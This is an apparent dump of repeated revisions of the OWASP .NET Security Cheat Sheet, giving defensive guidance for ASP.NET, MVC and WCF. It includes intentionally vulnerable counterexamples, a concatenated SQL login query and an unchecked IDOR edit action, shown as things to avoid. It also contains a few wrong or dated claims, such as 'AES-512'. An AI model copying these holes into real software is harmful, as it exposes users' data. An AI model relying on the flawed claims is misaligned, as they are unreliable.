* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==WCF Guidance==

* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.

== Authors and Primary Editors ==

Bill Sempf - bill.sempf(at)owasp.org<br/>
Troy Hunt - troyhunt(at)hotmail.com<br/>
Jeremy Long - jeremy.long(at)owasp.org<br />

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]][[Category:OWASP .NET Project]]

.NET Security Cheat Sheet

2017-09-20T14:54:54Z

Bill Sempf: Added logout code to CSRF.

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
== Introduction ==
__TOC__{{TOC hidden}}
This page intends to provide quick basic .NET security tips for developers.

===The .NET Framework===
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.

===Updating the Framework===
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.

Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.

Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.

==.NET Framework Guidance==

The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.

=== Data Access ===

* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.
* When using SQL Server, prefer integrated authentication over SQL authentication.
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),

=== Encryption ===
* Never, ever write your own encryption.
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.
* Use a strong hash algorithm.
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.

=== General ===

* Lock down the config file.
** Remove all aspects of configuration that are not in use.
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe

* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.

==ASP.NET Web Forms Guidance==

ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.

* Always use [http://support.microsoft.com/kb/324069 HTTPS].
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.
* Implement [http://msdn.microsoft.com/en-us/library/h0hfz6fc(v=VS.71).aspx customErrors].
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:

protected override OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}

If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.

private const string AntiXsrfTokenKey = "__AntiXsrfToken";
private const string AntiXsrfUserNameKey = "__AntiXsrfUserName";
private string _antiXsrfTokenValue;
protected void Page_Init(object sender, EventArgs e)
{
// The code below helps to protect against XSRF attacks
var requestCookie = Request.Cookies[AntiXsrfTokenKey];
Guid requestCookieGuidValue;
if (requestCookie != null && Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))
{
// Use the Anti-XSRF token from the cookie
_antiXsrfTokenValue = requestCookie.Value;
Page.ViewStateUserKey = _antiXsrfTokenValue;
}
else
{
// Generate a new Anti-XSRF token and save to the cookie
_antiXsrfTokenValue = Guid.NewGuid().ToString("N");
Page.ViewStateUserKey = _antiXsrfTokenValue;
var responseCookie = new HttpCookie(AntiXsrfTokenKey)
{
HttpOnly = true,
Value = _antiXsrfTokenValue
};
if (FormsAuthentication.RequireSSL && Request.IsSecureConnection)
{
responseCookie.Secure = true;
}
Response.Cookies.Set(responseCookie);
}
Page.PreLoad += master_Page_PreLoad;
}

protected void master_Page_PreLoad(object sender, EventArgs e)
{
if (!IsPostBack)
{
// Set Anti-XSRF token
ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;
ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;
}
else
{
// Validate the Anti-XSRF token
if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue ||
(string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))
{
throw new InvalidOperationException("Validation of Anti-XSRF token failed.");
}
}
}

* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.
** In the Home pane, double-click HTTP Response Headers.
** In the HTTP Response Headers pane, click Add... in the Actions pane.
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.
** This is a recommended web.config setup that handles HSTS among other things.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<staticContent>
<clientCache cacheControlCustom="public" cacheControlMode="UseMaxAge" cacheControlMaxAge="1.00:00:00" setEtag="true" />
</staticContent>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'" />
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>
<rewrite>
<rules>
<rule name="Redirect to https">
<match url="(.*)"/>
<conditions>
<add input="{HTTPS}" pattern="Off"/>
<add input="{REQUEST_METHOD}" pattern="^get$|^head$" />
</conditions>
<action type="Redirect" url="https://{HTTP_HOST}/{R:1}" redirectType="Permanent"/>
</rule>
</rules>
<outboundRules>
<rule name="Add HSTS Header" enabled="true">
<match serverVariable="RESPONSE_Strict_Transport_Security"
pattern=".*" />
<conditions>
<add input="{HTTPS}" pattern="on" ignoreCase="true" />
</conditions>
<action type="Rewrite" value="max-age=15768000" />
</rule>
</outboundRules>
</rewrite>
</system.webServer>
</configuration>

* Remove the version header.

<httpRuntime enableVersionHeader="false" />

* Also remove the Server header.

HttpContext.Current.Response.Headers.Remove("Server");

=== HTTP validation and encoding ===

* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting. Complete request validation is recommended in addition to the built in protections.
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.
* Whitelist allowable values anytime user input is accepted.
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].

=== Forms authentication ===

* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.
* If HTTPS is not used, slidingExpiration should be disabled. Consider disabling slidingExpiration even with HTTPS.
* Always implement proper access controls.
** Compare user provided username with User.Identity.Name.
** Check roles against User.Identity.IsInRole.
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.
* Explicitly authorize resource requests.
* Leverage role based authorization using User.Identity.IsInRole.

==ASP.NET MVC Guidance==

ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.

* '''A1 SQL Injection'''

DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.

DO: Use parameterized queries where a direct sql query must be used.

e.g. In entity frameworks:

var sql = @"Update [User] SET FirstName = @FirstName WHERE Id = @Id";
context.Database.ExecuteSqlCommand(
sql,
new SqlParameter("@FirstName", firstname),
new SqlParameter("@Id", id));

DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.

e.g
string strQry = "SELECT * FROM Users WHERE UserName='" + txtUser.Text + "' AND Password='" + txtPassword.Text + "'";
EXEC strQry // SQL Injection vulnerability!

DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account

* '''A2 Weak Account management'''

Ensure cookies are sent via httpOnly:

CookieHttpOnly = true,

Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:

ExpireTimeSpan = TimeSpan.FromMinutes(60),
SlidingExpiration = false

See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet

Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:


<httpCookies requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>
<authentication>
<forms requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>

</authentication>

Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.

[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
'''[AllowXRequestsEveryXSecondsAttribute(Name = "LogOn", Message = "You have performed this action more than {x} times in the last {n} seconds.", Requests = 3, Seconds = 60)]'''
public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)

Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling

DO NOT: Roll your own authentication or session management, use the one provided by .Net

DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested.

* '''A3 Cross Site Scripting'''

DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists

You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:

Install-Package AntiXSS

then set in config:

<system.web>

<httpRuntime targetFramework="4.5" enableVersionHeader="false" encoderType="Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary" maxRequestLength="4096" />

DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.

DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'" />
...

* '''A4 Insecure Direct object references'''

When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there

// Insecure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
return View("Details", new UserViewModel(user);
}

// Secure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
// Establish user has right to edit the details
if (user.Id != _userIdentity.GetUserId())
{
HandleErrorInfo error = new HandleErrorInfo(new Exception("INFO: You do not have permission to edit these details"));
return View("Error", error);
}
return View("Edit", new UserViewModel(user);
}

* '''A5 Security Misconfiguration'''

Ensure debug and trace are off in production. This can be enforced using web.config transforms:


<compilation xdt:Transform="RemoveAttributes(debug)" />

<trace enabled="false" xdt:Transform="Replace"/>

DO NOT: Use default passwords

DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:

protected void Application_BeginRequest()
{
#if !DEBUG
// SECURE: Ensure any request is returned over SSL/TLS in production
if (!Request.IsLocal && !Context.Request.IsSecureConnection) {
var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace("http:", "https:");
Response.Redirect(redirect);
}
#endif
}

* '''A6 Sensitive data exposure'''

DO NOT: Store encrypted passwords.

DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.

DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy.

DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.

DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].

DO NOT: Allow SSL, this is now obsolete

DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]

DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders ] or disable via web.config:
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>

* '''A7 Missing function level access control'''

DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:

[Authorize(Roles = "Admin")]
[HttpGet]
public ActionResult Index(int page = 1)

or better yet, at controller level:

[Authorize]
public class UserController

You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)

* '''A8 Cross site request forgery'''

DO: Send the anti-forgery token with every Post/Put request:

using (Html.BeginForm("LogOff", "Account", FormMethod.Post, new { id = "logoutForm", @class = "pull-right" }))
{
@Html.AntiForgeryToken()
<ul class="nav nav-pills">
<li role="presentation">Logged on as @User.Identity.Name</li>
<li role="presentation"><a href="javascript:document.getElementById('logoutForm').submit()">Log off</a></li>
</ul>
}

Then validate it at the method or preferably the controller level:

[HttpPost]
'''[ValidateAntiForgeryToken]'''
public ActionResult LogOff()

Make sure the tokens are removed completely for invalidation on logout.

/// <summary>
/// SECURE: Remove any remaining cookies including Anti-CSRF cookie
/// </summary>
public void RemoveAntiForgeryCookie(Controller controller)
{
string[] allCookies = controller.Request.Cookies.AllKeys;
foreach (string cookie in allCookies)
{
if (controller.Response.Cookies[cookie] != null && cookie == "__RequestVerificationToken")
{
controller.Response.Cookies[cookie].Expires = DateTime.Now.AddDays(-1);
}
}
}

NB: You will need to attach the anti-forgery token to Ajax requests.

* '''A9 Using components with known vulnerabilities'''

DO: Keep the .Net framework updated with the latest patches
DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities. So Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]

* '''A10 Unvalidated redirects and forwards'''

A protection against this was introduced in Mvc 3 template. Here is the code:

public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)
{
if (ModelState.IsValid)
{
var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);
if (logonResult.Success)
{
await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);
return RedirectToLocal(returnUrl);
....

private ActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl))
{
return Redirect(returnUrl);
}
else
{
return RedirectToAction("Landing", "Account");
}
}

Other advice:

* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.

More information:

For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]

==XAML Guidance==

* Work within the constraints of Internet Zone security for your application.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==Windows Forms Guidance==

* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==WCF Guidance==

* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.

== Authors and Primary Editors ==

Bill Sempf - bill.sempf(at)owasp.org<br/>
Troy Hunt - troyhunt(at)hotmail.com<br/>
Jeremy Long - jeremy.long(at)owasp.org<br />

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]][[Category:OWASP .NET Project]]

.NET Security Cheat Sheet

2017-09-20T14:50:58Z

Bill Sempf: Highlighted the sections in ASP.NET MVC for clarity.

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
== Introduction ==
__TOC__{{TOC hidden}}
This page intends to provide quick basic .NET security tips for developers.

===The .NET Framework===
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.

===Updating the Framework===
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.

Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.

Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.

==.NET Framework Guidance==

The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.

=== Data Access ===

* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.
* When using SQL Server, prefer integrated authentication over SQL authentication.
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),

=== Encryption ===
* Never, ever write your own encryption.
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.
* Use a strong hash algorithm.
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.

=== General ===

* Lock down the config file.
** Remove all aspects of configuration that are not in use.
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe

* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.

==ASP.NET Web Forms Guidance==

ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.

* Always use [http://support.microsoft.com/kb/324069 HTTPS].
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.
* Implement [http://msdn.microsoft.com/en-us/library/h0hfz6fc(v=VS.71).aspx customErrors].
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:

protected override OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}

If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.

private const string AntiXsrfTokenKey = "__AntiXsrfToken";
private const string AntiXsrfUserNameKey = "__AntiXsrfUserName";
private string _antiXsrfTokenValue;
protected void Page_Init(object sender, EventArgs e)
{
// The code below helps to protect against XSRF attacks
var requestCookie = Request.Cookies[AntiXsrfTokenKey];
Guid requestCookieGuidValue;
if (requestCookie != null && Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))
{
// Use the Anti-XSRF token from the cookie
_antiXsrfTokenValue = requestCookie.Value;
Page.ViewStateUserKey = _antiXsrfTokenValue;
}
else
{
// Generate a new Anti-XSRF token and save to the cookie
_antiXsrfTokenValue = Guid.NewGuid().ToString("N");
Page.ViewStateUserKey = _antiXsrfTokenValue;
var responseCookie = new HttpCookie(AntiXsrfTokenKey)
{
HttpOnly = true,
Value = _antiXsrfTokenValue
};
if (FormsAuthentication.RequireSSL && Request.IsSecureConnection)
{
responseCookie.Secure = true;
}
Response.Cookies.Set(responseCookie);
}
Page.PreLoad += master_Page_PreLoad;
}

protected void master_Page_PreLoad(object sender, EventArgs e)
{
if (!IsPostBack)
{
// Set Anti-XSRF token
ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;
ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;
}
else
{
// Validate the Anti-XSRF token
if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue ||
(string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))
{
throw new InvalidOperationException("Validation of Anti-XSRF token failed.");
}
}
}

* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.
** In the Home pane, double-click HTTP Response Headers.
** In the HTTP Response Headers pane, click Add... in the Actions pane.
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.
** This is a recommended web.config setup that handles HSTS among other things.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<staticContent>
<clientCache cacheControlCustom="public" cacheControlMode="UseMaxAge" cacheControlMaxAge="1.00:00:00" setEtag="true" />
</staticContent>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'" />
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>
<rewrite>
<rules>
<rule name="Redirect to https">
<match url="(.*)"/>
<conditions>
<add input="{HTTPS}" pattern="Off"/>
<add input="{REQUEST_METHOD}" pattern="^get$|^head$" />
</conditions>
<action type="Redirect" url="https://{HTTP_HOST}/{R:1}" redirectType="Permanent"/>
</rule>
</rules>
<outboundRules>
<rule name="Add HSTS Header" enabled="true">
<match serverVariable="RESPONSE_Strict_Transport_Security"
pattern=".*" />
<conditions>
<add input="{HTTPS}" pattern="on" ignoreCase="true" />
</conditions>
<action type="Rewrite" value="max-age=15768000" />
</rule>
</outboundRules>
</rewrite>
</system.webServer>
</configuration>

* Remove the version header.

<httpRuntime enableVersionHeader="false" />

* Also remove the Server header.

HttpContext.Current.Response.Headers.Remove("Server");

=== HTTP validation and encoding ===

* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting. Complete request validation is recommended in addition to the built in protections.
